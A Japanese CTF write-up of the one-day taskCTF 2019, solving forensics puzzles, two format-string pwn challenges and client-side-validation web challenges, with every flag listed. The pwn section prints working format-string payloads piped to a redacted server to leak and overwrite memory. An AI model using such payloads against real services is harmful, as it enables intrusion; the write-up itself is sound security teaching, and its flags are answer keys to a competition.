taskCTF write-up

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">++age;<br><br>今日誕生日なので, 1日限定でCTFを開催してみました。<a href="https://t.co/U02CnUnGge">https://t.co/U02CnUnGge</a><br><br>問題はあまり難しくないかもしれませんが, 息抜きにでも参加してみてください！</p>&mdash; Tasker (@task4233) <a href="https://twitter.com/task4233/status/1202241267515572226?ref_src=twsrc%5Etfw">December 4, 2019</a></blockquote>

誕生日にCTF開催は新しい。

問題は全部1問100点。13問全部解いて1位 :v:

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/deefd388-afbb-62f8-7ee6-df6805d35560.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/a2a8ddff-8b38-a5e8-1768-f92c8e626fe8.png)

## Misc

### Rainforest

> Capture the flag in the rainforest!

この問題文だけでファイルなどは無し。rainforest = 雨林 = Amazon。スコアサーバーのトップページのAmazonの欲しいものリスト中の旗のコメントにフラグが書かれている。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/dcdd0fe4-935f-80ef-6fab-043b308ed11b.png)

買われちゃったらどうするんだろうね？と思っていたら、案の定買われたらしいw

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">Rainforestにおいて, 他のプレイヤーを意図せず妨害できることを, とあるPlayerからご指摘いただきました。 <br>現在対応したため, Rainforestに挑戦していて解けなかった方は再挑戦してみてください。 <br>よろしくお願いします。<a href="https://t.co/U02CnUnGge">https://t.co/U02CnUnGge</a><a href="https://twitter.com/hashtag/taskctf?src=hash&amp;ref_src=twsrc%5Etfw">#taskctf</a></p>&mdash; Tasker (@task4233) <a href="https://twitter.com/task4233/status/1202361677024350208?ref_src=twsrc%5Etfw">December 4, 2019</a></blockquote>

希望数量が増やされていたので、安心して1セット送っておいた。お誕生日おめでとうございます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/fa0ee174-38aa-1ed4-ef69-d6405307faf2.png)

`taskctf{Y0u_c4nn0t_5ee_the_f0re5t_f0r_the_tree5}`

### Matryoshka

> zipファイルが送られてきたけど, なぜか開けないです......
> 少し調べてみてくれない？

拡張子は.zipだけれど、実は[cpio](https://ja.wikipedia.org/wiki/Cpio)。解答すると拡張子が.tar.gzのファイルが出てくるけれど、実はbzip2。解答すると今度はファイル名は分からないがar archive。

```shell-session
$ file flag.zip
flag.zip: cpio archive
$ cpio -it < flag.zip
flag.tar.gz
2 blocks
$ cpio -id < flag.zip
2 blocks
$ file flag.tar.gz
flag.tar.gz: bzip2 compressed data, block size = 900k
$ bunzip2 flag.tar.gz
bunzip2: Can't guess original name for flag.tar.gz -- using flag.tar.gz.out
$ file flag.tar.gz.out
flag.tar.gz.out: current ar archive
$ ar t flag.tar.gz.out
flag
whatAmI
$ ar x flag.tar.gz.out
$ cat flag
flag: taskctf{m1nd_the_f1le_extent10n}
```

`taskctf{m1nd_the_f1le_extent10n}`

### Matryoshka-2

> おかげさまで開けたけど, 次は怪文書ですか......
> 追加調査おねがいします。
> 
> [2019-12-05 01:15:00 JST追記] Matryoshkaで解いた際に, flag以外にもう一つファイルがあったと思います。そのファイルを追加で調査してください！

whatAmIを調べる。

```shell-session
$ base64 -d < whatAmI > flag.7z
$ 7z l flag.7z
 :
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2019-12-04 18:31:55 ....A          445          441  broken
2019-12-04 19:06:32 ....A           48               flag
------------------- ----- ------------ ------------  ------------------------
2019-12-04 19:06:32                493          441  2 files

Warnings: 1
$ 7z x flag.7z
 :
$ cat flag
flag: taskctf{Base64_enc0de5_w1th_64_ch4r4cter5}
```

`taskctf{Base64_enc0de5_w1th_64_ch4r4cter5}`

### Matryoshka-3

> え？中にまだファイルがあったの？
> 何度も悪いんだけど, それの調査もお願いできます？

brokenを調べる。`XXXX`で潰されているところが2箇所あって、他はどう見てもZIPなので、それぞれ`PK\x03\x04`と`PK\x05\x06`に書き換える。中にflagというテキストファイルが入っている。

```
flag: taskctf{F1n4lly_met!}

ZIP, which is an archive file format that supports loss less data compression, has repeatable two file headers.
You should notice this file format ZIP when you see binary.
ZIP can unzip by hand. Let's try it!
ref: Zipファイルを紙とペンで解凍してみた
https://techblog.raccoon.ne.jp/archives/47967009.html
```

`taskctf{F1n4lly_met!}`

### dataInPic

> この画像, よく見たら旗があるらしい。
> 変わったところは無いように思うけど……

PNG画像。後半のIDATチャンクのCRCが合わないのと、サイズがおかしい。後半のチャンクのサイズを修正すると、後続のtEXTチャンクが見える。フラグの半分はIDAT中に含まれていてそのせいでCRCが合わなくなっているらしい。

```shell-session
$ strings -n 16 new_icon.png
iTXt<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <exif:PixelYDimension>750</exif:PixelYDimension>
         <exif:PixelXDimension>750</exif:PixelXDimension>
         <exif:ColorSpace>1</exif:ColorSpace>
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
taskctf{p4y_4tten...can you get  the other?
...t10n_t0_ex1f}, can you get the other?
```

`taskctf{p4y_4ttent10n_t0_ex1f}`

### InvisibleFlag

> このファイル内に, 埋め込まれた見えないFlagがあるって噂を聞いたよ。
> でも, いくら探しても見つからないんだ。
> 代わりに見つけてくれない？

```flag.txt
i󠅶n󠅡v󠅬a󠅩l󠅤i󠅆d󠅬F󠅡l󠅧a󠄺g󠅴:󠅡t󠅳a󠅫s󠅣k󠅴c󠅦t󠅻f󠅄{󠄱T󠅤h󠅟1󠅹5󠄰_󠅵1󠅟5󠅫_󠅮1󠄰n󠅷v󠅟4󠄱l󠅖1󠄵d󠄿_󠅽fl4g}
```

各文字の間にUnicodeの異体字セレクタが含まれている。コードポイントの下1バイトがフラグだった。

```python
>>> "".join(chr(ord(c)&0xff) for c in open("flag.txt", "rb").read().decode("utf-8")[1::2])
'validFlag:taskctf{D1d_y0u_kn0w_1V5?}lg\n'
```

`validFlag:taskctf{D1d_y0u_kn0w_1V5?}`

### hoardingHouse

> 最近学校で度胸試しとしてゴミ屋敷の探検が流行ってるんだよね。
> 友人もこの前行ってきたらしくて, ゴミ屋敷にあるノートにflagを書いてきたらしいんだ。
> 彼は気が強いからできたけど, 私は気が弱いから見に行くなんて絶対に無理！
> 代わりにflagを見つけてきてくれない？

ZIPファイル。Windowsのエクスプローラーで開けないと思ったら、

```
hoardingHouse/
+-- note.txt
+-- note0.txt
+-- note1.txt
 :
+-- note9.txt
+-- 0/
    +-- note0.txt
    +-- note1.txt
     :
    +-- note9.txt
    +-- 1/
        +-- note0.txt
        +-- note1.txt
         :
        +-- note9.txt
        +-- 2/
          :
```

みたいな構造が100階層あって、パスが長すぎてコケていた。各ファイルの中身がBase64っぽいので連結して解凍するのかなと思い連結するスクリプトを作っていて、途中でデバッグ用に中身を表示したらフラグが見えた。
`hoardingHouse/0/1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34/35/36/37/38/39/40/41/42/43/44/45/46/47/48/49/50/51/52/53/54/55/56/note8.txt`がフラグ。

```solve.py
import zipfile

z = zipfile.ZipFile("hoardingHouse.zip", "r")
for i in range(99):
  for j in range(10):
    f = "hoardingHouse/"+"/".join(map(str, range(i+1)))+"/note%d.txt"%j
    t = z.read(f)
    if len(t)>=16:
      print f, t
```

`taskctf{f1nd_4nd_grep_4re_g0d}`

### Questionnaire

> CTFお疲れ様でした！
> 以下のアンケートに答えてflagをゲットしてね。

最後まで負けていたのに、この問題の解答時間の差でst98さんに勝ってしまって申し訳ない。0点で良かったのではw　アンケートに落ち着いて答えられないし。

追記

答えなくてもフラグは得られるらしい。じゃあ100点でも良いのか。フラグをサブミットしてからゆっくり回答すれば良いと。

> よく考えれば、Google フォームは HTML を見れば回答せずとも終了後のメッセージが得られますね。

https://st98.github.io/diary/posts/2019-12-06-taskctf.html#misc-100-questionnaire

`taskctf{Th4nk_y0u_f0r_pl4y1ng!}`

## Pwn

### peep2

ソースコードのみが与えられ、バイナリは与えられない。

```peep2.c
#include <stdio.h>

char s3cr37[64] = "taskctf{XXXXXXXX}\0";

void get_flag(){
  printf("flag is %s\n", s3cr37);
}

int main(){
  char local[128];
  fgets(local,128,stdin);
  printf(local);
  printf("secret address: 0x%x\n", &s3cr37);
  return 0;
}
```

書式文字列攻撃。「これで、スタックのリターンアドレスを書き換えて`get_flag`に飛ばすのは難しくないか……？」と悩んだけれど、`get_flag`に飛ばす必要は無かった。`s3cr37`のアドレスはアドレスが固定なので、このアドレスを`local`に書き込んで`%s`で参照すれば良い。バイナリが与えられないので、`local`の位置が何番目の引数にあたるかは、適当に試す。4番目だった。

```shell-session
$ python2 -c 'print "\x40\xa0\x04\x08 %4$s"' | nc XXX.XXX.XXX.XXX 2226
@ taskctf{1t's_f0rm@_str1ng_4tt4ck!!}
secret address: 0x804a040
```

`taskctf{1t's_f0rm@_str1ng_4tt4ck!!}`

### 334

なんでや！　阪神関係ないやろ！

```334.c
#include <stdio.h>

char s3cr37[32] = "taskctf{XXXXXXXX}\0";
int key = 0x12345678;

void get_flag(){
  printf("flag is %s\n", s3cr37);
}

int main(){
  char local[128];
  fgets(local,128,stdin);
  printf(local);
  printf("key address: 0x%x\n", &key);
  printf("key        : 0x%x\n", key);
  if(key==0x334)
    get_flag();
  return 0;
}
```

同じく書式文字列攻撃。`key`の値を`0x334`にすれば良い。`key`のアドレスを`local`に書き込み、`%n`で参照して値を書き込む。`%Nc`で`N`文字出力して出力文字数を`0x334`に合わせる。

```shell-session
$ python2 -c 'print "\x60\xa0\x04\x08%816c%4$n"' | nc XXX.XXX.XXX.XXX 2227
 :
key address: 0x804a060
key        : 0x334
flag is taskctf{wh@'2_334?}
```

## Welcome

### Welcome

> Welcome to taskCTF!
> flag: taskctf{let's_enj0y!}

`taskctf{let's_enj0y!}`

## Web

### Bad Frontend-1

> 私フロントエンドエンジニア！
> 頼まれていたValidation付きのログイン画面を作ったよ。
> 先輩, 褒めてくれるかな？

```index.html
        <form method="post" action="index.php">
          <!--
              note for debug
              username: superuser_admin
              password: password12345678
            -->
          <div class="form-group">
            <input type="text" class="form-control" name="username" aria-describedby="text" maxlength="8" placeholder="username">
          </div>
          <div class="form-group">
            <input type="password" class="form-control" name="password" maxlength="8" placeholder="password">
          </div>
          <button type="submit" class="btn btn-primary">Login!</button>
        </form>
```

コメントに書かれているIDとパスワードでログインしようとしても、`<input maxlength="8">`に弾かれる。ブラウザの開発者ツールで消せば良い。

ログインするとフラグとともに注意書きが書かれている。

> Tip
> maxlengthはdeveloper toolsで容易に書き換えられるので不十分です。
注意しましょう。
> [Is restriction using input maxlength sufficient enough?](https://stackoverflow.com/questions/20965935/is-restriction-using-input-maxlength-sufficient-enough)

`taskctf{maxlength_15_4_5t0pg4p_s0lut10n}`

### Bad-Frontend-2

> 先輩に指摘されたので, JavaScriptでもValidationを追加してみたよ。
> これでもう大丈夫かな？

大丈夫ではないw

```validation.js
const username = document.getElementById("username");
const password = document.getElementById("password");

username.addEventListener('input', function (e) {
    const value = e.target.value;
    e.target.value = value.slice(0, 8);
})

password.addEventListener('input', function (e) {
    const value = e.target.value;
    e.target.value = value.slice(0, 8);
})
```

が読み込まれている。Chromeの開発者ツールでevent listenerを消した。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/03cb03e7-a167-c064-b7e1-2ac6634c53e8.png)

> Tip
> JavaScriptでvalidationをしたとしても, burpでリクエストを編集したり, curlで直接リクエストを送ったりすることで回避できてしまいます。
Backend エンジニアさん, 頑張って！
> ref: [Why is client-side validation not enough?](https://stackoverflow.com/questions/3483514/why-is-client-side-validation-not-enough)

想定解法はburp or curlか。

`taskctf{Fr0ntend_v4lid4t10n_15_5t1ll_we4k}`